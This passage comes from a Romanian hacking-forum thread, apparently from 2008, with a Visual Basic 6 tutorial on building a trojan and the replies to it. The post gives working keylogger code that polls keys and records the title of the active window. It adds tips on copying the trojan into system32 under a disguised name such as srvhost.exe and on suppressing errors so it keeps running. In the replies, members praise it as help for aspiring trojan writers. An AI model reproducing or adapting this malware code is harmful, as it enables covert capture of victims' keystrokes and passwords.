Dar si aici avem o mica problema . Daca tasta Shift e apasata , atunci nu vor fi scrise de la tastatura cifre ci caractere : !@# ... Codul nostru va arata cam asa : Private Sub Timer1_Timer() Dim x, x2, i As Integer For i = 48 To 57 ' i va fi pe rand codul ASCII al cifrelor de la 0 la 9 x = GetAsyncKeyState(i) ' x va verifica fiecare cifra in parte x2 = GetAsyncKeyState(16) ' x2 va verifica tasta shift If x = -32767 Then ' Daca o tasta reprezentand un caracter a fost apasata Select Case i ' Verificam ce tasta a fost apasata , in functie de codul ASCII Case 48 ' Daca tasta apasata are codul ASCII 48 - corespunzator lui 0 If x2 = -32768 Then ' Daca tasta shift e apasata Text1.Text = Text1.Text & ")" ' Adaugam la log caracterul ")" corespunzator cifrei 0 Else: Text1.Text = Text1.Text & "0" ' Daca tasta shift nu a fost apasata adaugam caracterul 0 End If Case 49 ' Pentru tasta cu codul ASCII 49 adica tasta 1 If x2 = -32768 Then ' Daca tasta shift a fost apasata Text1.Text = Text1.Text & "!" ' Adaugam caracterul "!" corespunzator tastei 1 Else: Text1.Text = Text1.Text & "1" ' Daca nu a fost shift apasata adaugam 1 , si asa mai departe End If Case 50 If x2 = -32768 Then Text1.Text = Text1.Text & "@" Else: Text1.Text = Text1.Text & "2" End If Case 51 If x2 = -32768 Then Text1.Text = Text1.Text & "#" Else: Text1.Text = Text1.Text & "3" End If Case 52 If x2 = -32768 Then Text1.Text = Text1.Text & "$" Else: Text1.Text = Text1.Text & "4" End If Case 53 If x2 = -32768 Then Text1.Text = Text1.Text & "%" Else: Text1.Text = Text1.Text & "5" End If Case 54 If x2 = -32768 Then Text1.Text = Text1.Text & "^" Else: Text1.Text = Text1.Text & "6" End If Case 55 If x2 = -32768 Then Text1.Text = Text1.Text & "&" Else: Text1.Text = Text1.Text & "7" End If Case 56 If x2 = -32768 Then Text1.Text = Text1.Text & "*" Else: Text1.Text = Text1.Text & "8" End If Case 57 If x2 = -32768 Then Text1.Text = Text1.Text & "(" Else: Text1.Text = Text1.Text & "9" End If End Select ' Inchidem instructiunea select End If Next End Sub Acest lucru se poate face mai simplu folosind functia IIf(iif) - operatorul ternar din Visual Basic . Functia IIf are 3 parametri : expresie , instrunctiune1 , instructiune2 . Functia verifica daca primul parametru , expresia e adevarata : daca e adevarata executa instruciunea I , in cazul nostru va retura cel de-al doilea parametru , iar daca expresia e falsa , va executa instructiunea a doua , cel de-al III-lea parametru , ca cazul nostru va returna ultimul parametru . Veti intelege mai bine pe exemplu : Select Case i ' La fel , vom verifica codul ASCII al tastei care a fost apasate Case 48 ' Daca a fost apasata tasta 0 Text1.Text = Text1.Text & IIf(x2 = -32768, ")", "0") ' Daca tasta shift a fost apasata , adaugam la log ")" , daca nu , adaugam "0" Case 49 Text1.Text = Text1.Text & IIf(x2 = -32768, "!", "1") ' La fel , daca tasta shift a fost apasata , adaugam la log "!" , daca nu , adaugam "1" , etc. Case 50 Text1.Text = Text1.Text & IIf(x2 = -32768, "@", "2") Case 51 Text1.Text = Text1.Text & IIf(x2 = -32768, "#", "3") Case 52 Text1.Text = Text1.Text & IIf(x2 = -32768, "$", "4") Case 53 Text1.Text = Text1.Text & IIf(x2 = -32768, "%", "5") Case 54 Text1.Text = Text1.Text & IIf(x2 = -32768, "^", "6") Case 55 Text1.Text = Text1.Text & IIf(x2 = -32768, "&", "7") Case 56 Text1.Text = Text1.Text & IIf(x2 = -32768, "*", "8") Case 57 Text1.Text = Text1.Text & IIf(x2 = -32768, "(", "9") End Select Sa continuam cu tastele care reprezinta semne de punctuatie , paranteze ( <>?,./_=| ) etc. Nu mai stau sa insir codurile lor . Codul arata cam asa :For i = 186 To 222 ' Verificam de la 186 pana la 222 . Nu avem nevoie de mai mult .x = GetAsyncKeyState(i)x2 = GetAsyncKeyState(16)If x = -32767 ThenSelect Case i Case 220: Text1.Text = Text1.Text & IIf(x2 = -32768, "|", "\") Case 188: Text1.Text = Text1.Text & IIf(x2 = -32768, "<", ",") Case 189: Text1.Text = Text1.Text & IIf(x2 = -32768, "_", "-") Case 190: Text1.Text = Text1.Text & IIf(x2 = -32768, ">", ".") Case 191: Text1.Text = Text1.Text & IIf(x2 = -32768, "?", "/") Case 187: Text1.Text = Text1.Text & IIf(x2 = -32768, "+", "=") Case 186: Text1.Text = Text1.Text & IIf(x2 = -32768, ":", ";") Case 222: Text1.Text = Text1.Text & IIf(x2 = -32768, Chr(34), "'") Case 219: Text1.Text = Text1.Text & IIf(x2 = -32768, "{", "[") Case 221: Text1.Text = Text1.Text & IIf(x2 = -32768, "}", "]") Case 192: Text1.Text = Text1.Text & IIf(x2 = -32768, "~", "`")End Select Sa verificam acum F-urile : F1 , F2 ... Codurile lor sunt : 112 , 113 ... 123 si codul arata cam asa :For i = 112 To 123x = GetAsyncKeyState(i)x2 = GetAsyncKeyState(16)If x = -32767 ThenSelect Case iCase 112: Text1.Text = Text1.Text & " F1 "Case 113: Text1.Text = Text1.Text & " F2 "Case 114: Text1.Text = Text1.Text & " F3 "Case 115: Text1.Text = Text1.Text & " F4 "Case 116: Text1.Text = Text1.Text & " F5 "Case 117: Text1.Text = Text1.Text & " F6 "Case 118: Text1.Text = Text1.Text & " F7 "Case 119: Text1.Text = Text1.Text & " F8 "Case 120: Text1.Text = Text1.Text & " F9 "Case 121: Text1.Text = Text1.Text & " F10 "Case 122: Text1.Text = Text1.Text & " F11 "Case 123: Text1.Text = Text1.Text & " F12 "End Select Am vazut cum putem verifica cifrele si literele si semnele de punctuatie si F-urile , sa verificam si restul tastelor , cat mai multe . Nu ne intereseaza toate codurile ASCII , pe noi ne intereseaza urmatoarele : Backspace ( 8 ) , Tab ( 9 ) , Enter ( 13 ) , Ctrl ( 17 ) , Alt ( 18 ) , Pause ( 19 ) , Capslook ( 20 ) , Esc ( 27 ) , Space ( 32 ) , PageUp ( 33 ) , PageDown ( 34 ) , End ( 35 ) , Home ( 36 ) , Left ( 37 ) , Up ( 38 ) , Right ( 39 ) , Down ( 40 ) , PrintScreen ( 44 ) , Insert ( 45 ) , Delete ( 46 ) , Windows ( 91 , 92 ) , Numlock ( 144 ) , liniile : Stanga ( 37 ) , Sus ( 38 ) , Dreapta ( 39 ) , Jos ( 40 ) . Vom avea :Case 8: Text1.Text = Mid(Text1.Text, 1, Len(Text1.Text) - 1) ' Daca e apasata tasta Backspace , stergem un caracter din logul nostruCase 9: Text1.Text = Text1.Text & " [ Tab ] " ' Pentru tasta TABCase 13: Text1.Text = Text1.Text & vbCrLf ' Daca este apasata tasta Enter trecem pe o noua linieCase 17: Text1.Text = Text1.Text & " [ Ctrl ]" ' Tasta CTRL etc.Case 18: Text1.Text = Text1.Text & " [ Alt ] "Case 19: Text1.Text = Text1.Text & " [ Pause ] "Case 20: Text1.Text = Text1.Text & " [ Capslock ] "Case 27: Text1.Text = Text1.Text & " [ Esc ] "Case 32: Text1.Text = Text1.Text & " " ' Pentru tasta Space adaugam un spatiuCase 33: Text1.Text = Text1.Text & " [ PageUp ] "Case 34: Text1.Text = Text1.Text & " [ PageDown ] "Case 35: Text1.Text = Text1.Text & " [ End ] "Case 36: Text1.Text = Text1.Text & " [ Home ] "Case 37: Text1.Text = Text1.Text & " [ Left ] " ' Liniuta in stanga Case 38: Text1.Text = Text1.Text & " [ Up ] " ' Liniuta in susCase 39: Text1.Text = Text1.Text & " [ Right ] " ' Liniuta in dreaptaCase 40: Text1.Text = Text1.Text & " [ Down ] " ' Liniuta in josCase 41: Text1.Text = Text1.Text & " [ Select ] "Case 44: Text1.Text = Text1.Text & " [ PrintScreen ] " ' Tasta PrintScreen ...Case 45: Text1.Text = Text1.Text & " [ Insert ] "Case 46: Text1.Text = Text1.Text & " [ Del ] "Case 47: Text1.Text = Text1.Text & " [ Help ] "Case 91, 92: Text1.Text = Text1.Text & " [ Windows ] " ' Avem doua butoane de Windows cu codurile 91 si 92 Sper ca ai prins ideea . Am ezitat sa pun intregul cod pentru eventuale Copy/Paste . Vreau sa intelegeti . Desigur , codul poate fi scris mai compact , dar asta ramane la latitudinea voastra . Sa trecem mai departe , sa vedem cum putem vedea in ce fereastra e scris textul ( multumiri vladii - http://de-ce.net ) . Ideea de baza e simpla : gasim fereastra activa ( foreground ) - nu poti scrie intr-o fereastra inactiva , apoi adaugam titlul ferestrei in log si la apasarea unor taste , le adaugam in log . Vom avea nevoie de 2 API-uri : Private Declare Function GetForegroundWindow Lib "user32" () As Long Private Declare Function GetWindowText Lib "user32" Alias "GetWindowTextA" ( ByVal hWnd As Long, ByVal sWndTitle As String, ByVal cLen As Long) As Long Ce fac aceste functii : GetForegroundWindow nu are nici un parametru si returneaza un handler catre fereastra activa , iar GetWindowText are 3 parametri : hwnd este handlerul ferestrei din care vrem sa preluam titlul , va fi rezultatul functiei GetForegroundWindow , sWndTitle este un parametru de iesire ( transmis prin referinta ) , valoarea lui se va modifica dupa apelul functiei , iar el va fi titlul ferestrei , cLen reprezinta lungimea maxima a celui de-al doilea parametru . Atentie , vom avea nevoie de un string de lungime fixa . Vom avea o mica problema cu adaugatul titlului ferestrei la log , nu vrem sa o adaugam de prea multe ori , deoarece vom avea tot timpul o fereastra activa . Solutia : gasim fereastra activa si o memoram intr-o variabila si o adaugam la log . Cat timp e aceeasi fereastra activa adaugam tastele apasate la log , verificand fereastra activa cu alta variabila . Daca gasim alta fereastra , o adaugam la log si din nou adaugam la log tastele apasate . Ceea ce vom face :Private hForegroundWnd As Long ' Variabila globala . Nu o vom declara in timer deoarece vom avea nevoie de valoarea ei nemodificata . Daca am declara-o in Timer ea ar fi initializata la fiecare rulare a Timerului .Private Sub Timer1_Timer()Dim x, x2, i As Integer ' Variabilele de care vom avea nevoie pentru keyloggerDim win As Long ' Ne va trebui pentru a verifica fereastra activaDim Title As String * 1000 ' String de lungime fixa , in el vom "captura" titlul ferestrei activewin = GetForegroundWindow() ' Gasim fereastra activaIf (win = hForegroundWnd) Then ' Si o comparam cu hForegroundWnd ( globala ) pentru a vedea daca sunt handlerele aceleiasi ferestre , sa nu adaugam in log aceeasi fereastra de 1000 de ori .GoTo Keylogger ' Daca este aceeasi fereastra mergem la keylogger si capturam tastele apasate si le adaugam in log ca fiind ale ferestrei activeElse ' Daca nuhForegroundWnd = GetForegroundWindow() ' hForegroundWnd va fi handlerul ferestrei active . Il vom compara ulterior cu winTitle = "" ' Initializam stringul Title cu "" GetWindowText hForegroundWnd, Title, 1000 ' Preluam in Title , titlul ferestrei active folosind handlerul obtinut anterior ( hForegroundWnd )If Asc(Title) > 0 Then ' Verificam codul ASCII al primului caracter din Title . Daca este 0 ( null ) nu il vom adauga - daca nu verificati primul caracter , la minimizarea ferestrelor va fi adaugat in log ca fereastra spatiu vid "" si nu arata foarte frumos . Text1.Text = Text1.Text & vbCrLf & vbCrLf & "[ " & Title ' Adaugam la log 2 linii noi urmate de titlul ferestrei in paranteze patrate ( mie imi place cum arata , puteti pune cum vreti ) . Text1.Text = Text1.Text & " ]" & vbCrLf ' Cum Title este un string de lungime fixa va trebui sa inchidem paranteza patrata ulterior , mai adaugam un spatiu , sub titlul ferestrei urmand sa apara tastele apasateEnd If ' Inchidem If-ul pentru verificarea lui TitleEnd If ' Inchidem If-ul pentru compararea lui win cu hForegroundWndExit Sub ' Iesim din Sub , pentru a nu "manca" memoria degeabaKeylogger: ' Mai jos urmeaza Keyloggerul . El va fi rulat daca hForegroundWnd = win adica daca de la ultima rulare a timerului , avem aceeasi fereastra , daca este aceeasi fereastra activa . Ce ramane de facut pentru atasarea keyloggerului trojanului nostru : decat trimiterea datelor din server spre client . Puteti adauga tot felul de optiuni , trebuie sa aveti imaginatie .>>>> Sfaturi utile :>> Fixarea erorii "Missing File" pentru Winsock E destul de importata aceasta problema . Fara acel ocx ( mswinsck.ocx ) nu vor merge nici serverul nici clientul . Acel ocx trebuie sa fie in system32 . Putem rezolva usor problema cu un fisier de resurse : Add-Ins >> Add-In Manager >> Click VB6 Resource Editor si bifati Loaded/Unloaded si Load On StartUp . Intrati in el ( verde ) apasati penultimul buton si adaugati mswinsck.ocx . La compilare va trebui salvat fisierul de resurse . Apoi in cod :Private Sub Form_Initialize() ' Evenimentul are loc inaintea lui Form_Load If Dir("C:\WINDOWS\system32\MSWINSCK.OCX") = "" Then ' Verificam daca fisierul exista si daca nu exista Dim i() As Byte ' Declaram vectorul i i = LoadResData(101, "CUSTOM") ' I va prelua continutul lui mswinsck.ocx din fisierul de resurse Open "C:\WINDOWS\system32\MSWINSCK.OCX" For Binary Access Write As #1 ' Deschidem C:\WINDOWS\system32\MSWINSCK.OCX binar pentru scriere Put #1, , i ' Scriem in C:\WINDOWS\system32\MSWINSCK.OCX continutul lui i adica mswinsck.ocx Close #1 ' Inchidem fisierul End If ' Inchidem If-ulEnd Sub Acest lucru se poate face si pentru alte ocx-uri sau alte fisiere . Insa ar putea interveni o eroare : Path acces error in caz ca cel care ruleaza programul nu are drepturi de administrator . Se poate folosi si o arhiva SFX - WinRar care se face foarte usor .>> Auto-Copierea serverului Lucru de asemenea foarte important , care se face foarte usor cu arhiva SFX . Cei mai multi trojeni se copiaza in system32 cu diferite nume : srvhost , svchost32 si altele . Serverul se poate autocopia astfel ( in Form_Load ) FileCopy App.Path & "/" & App.EXEName & ".exe", "C:\WINDOWS\system32\srvhost.exe" ' Se auto-copiaza in "C:\WINDOWS\system32\srvhost.exe" . App.Path este folderul in care se afla serverul , App.EXEName este numele executabilului , legatura e vizibila . Se poate copia dintr-un alt executabil , dintr-un fisier de resurse .>> Erori la rulare Va recomand folosirea instructiunii On Error Resume Next . In cazul unei erori programul nu se opreste . Folositi-o in server cat mai des , dar NU in timp ce lucrati la server . Asa e foarte posibil sa pierdeti erori , si codul sa nu functioneze corect . Si la client e folositoare . Daca ati citit pana aici in primul rand felicitari . Sper ca nu ati pierdut timpul degeaba si ca ati invatat cat mai multe . Si eu sper ca nu am pierdut timpul degeaba . Astept intrebari si posibile greseli . Astept de asemenea creatiile voastre . Autor : Nytro Vizitati : http://rstcenter.com Quote
H4e Posted March 11, 2008 Report Posted March 11, 2008 Deci asta era marele tutorial, ce pot sa zic super tare shi folositor bv tzie.... Quote
moubik Posted March 11, 2008 Report Posted March 11, 2008 foarte informativ, sper sa ajute pe noobi programatori de cai troieni Quote
Nytro Posted March 11, 2008 Author Report Posted March 11, 2008 Ms si cp . Astept intrebari . Sper sa il citeasca cineva ... Quote
vampy Posted March 11, 2008 Report Posted March 11, 2008 o sa incerk knd am timp sa vad ce imi iese sper sa nu iasa ochii..in orice caz bun tutorial man Quote
Nytro Posted March 12, 2008 Author Report Posted March 12, 2008 Ms , astept sa vad unde nu ai inteles Quote
beuzozel Posted March 14, 2008 Report Posted March 14, 2008 SalutM-ar interesa si pe mine niste cod scris in C++mai exact softul prin care ati hack-uit conquiztador.Nu-mi trebuie sa il folosesc vreau doar sa-i vad sursa.Mi-l puteti trimite si incomplet daca va deranjeaza intrucat vreau doar sa prind ideea pe care ati exploatat-o.Multumesc foarte frumos,Iulian Quote
inthel Posted March 14, 2008 Report Posted March 14, 2008 beuzozel ... nu cred ca ai postat unde trebuie .... cred mai exista si alte topicuri pentru asta.... oricum... tutorialul e super.... pentru incepatori good work Quote
Nytro Posted March 14, 2008 Author Report Posted March 14, 2008 Ms , cp Nemessis , beuzozel ai gresit topica ... Quote
Nytro Posted March 14, 2008 Author Report Posted March 14, 2008 Ms hertz , ms Kyonis , dar nu cred ca merita Quote
VoRTeX Posted March 18, 2008 Report Posted March 18, 2008 Daca s-ar putea putin mai detaliat Open CD-ROM & Close CD-ROM, nu prea am inteles, lucrez la un trojan Quote
Nytro Posted March 18, 2008 Author Report Posted March 18, 2008 Vrei sa folosesti mciSendString si pentru altceva sau decat sa explic ?mciSendString trimite un string catre un mci Device ...http://msdn2.microsoft.com/en-us/library/ms710846.aspxLucrez la un trojan , voi posta sursa lui cand il termin Quote
VoRTeX Posted March 18, 2008 Report Posted March 18, 2008 Pai ai explicat ca trebuie declarat API-ul ala. Unde in declar? Fac un module nou? Ai zis ca trebuie folosite codurile :mciSendString "Set CDAudio Door Open Wait", 0, 0, 0 ' Pentru Open mciSendString "Set CDAudio Door Closed Wait", 0, 0, 0 ' Pentru Close Unde trec?Multumesc! Quote
Nytro Posted March 18, 2008 Author Report Posted March 18, 2008 Un API il poti declara si im modul si in Form . Daca il declari in form , si cred ca e mai bine sa il declari in Form , il declari sus de tot , in cod , ca sa zic asa , in sectiunea Declarations , si important , in Form il declari ca Private . Daca il declari intr-un modul il declari ca public . Api-ul e :Private Declare Function mciSendString Lib "winmm.dll" Alias "mciSendStringA" (ByVal lpstrCommand As String, ByVal lpstrReturnString As String, ByVal uReturnLength As Long, ByVal hwndCallback As Long) As Long Quote
VoRTeX Posted March 18, 2008 Report Posted March 18, 2008 Deci am declarat codul si in client si in server si acuma ce trec la fiecare, am pus dupa tutorial If data date_primite .... da cum , ce , si unde scriu? Please Mersi !!! Quote
Nytro Posted March 18, 2008 Author Report Posted March 18, 2008 Ai citit tutorialul ? Nu trebuia decat in server API-ul , toate , nu iti trebuie in client . Quote
VoRTeX Posted March 18, 2008 Report Posted March 18, 2008 OK, in fine, nu mai pun chestia asta si gata ca de acuma considera lumea ca postez aiurea. Multumesc Quote
Nytro Posted March 18, 2008 Author Report Posted March 18, 2008 Nu postezi aiurea , dermin sursa si te uiti in ea Quote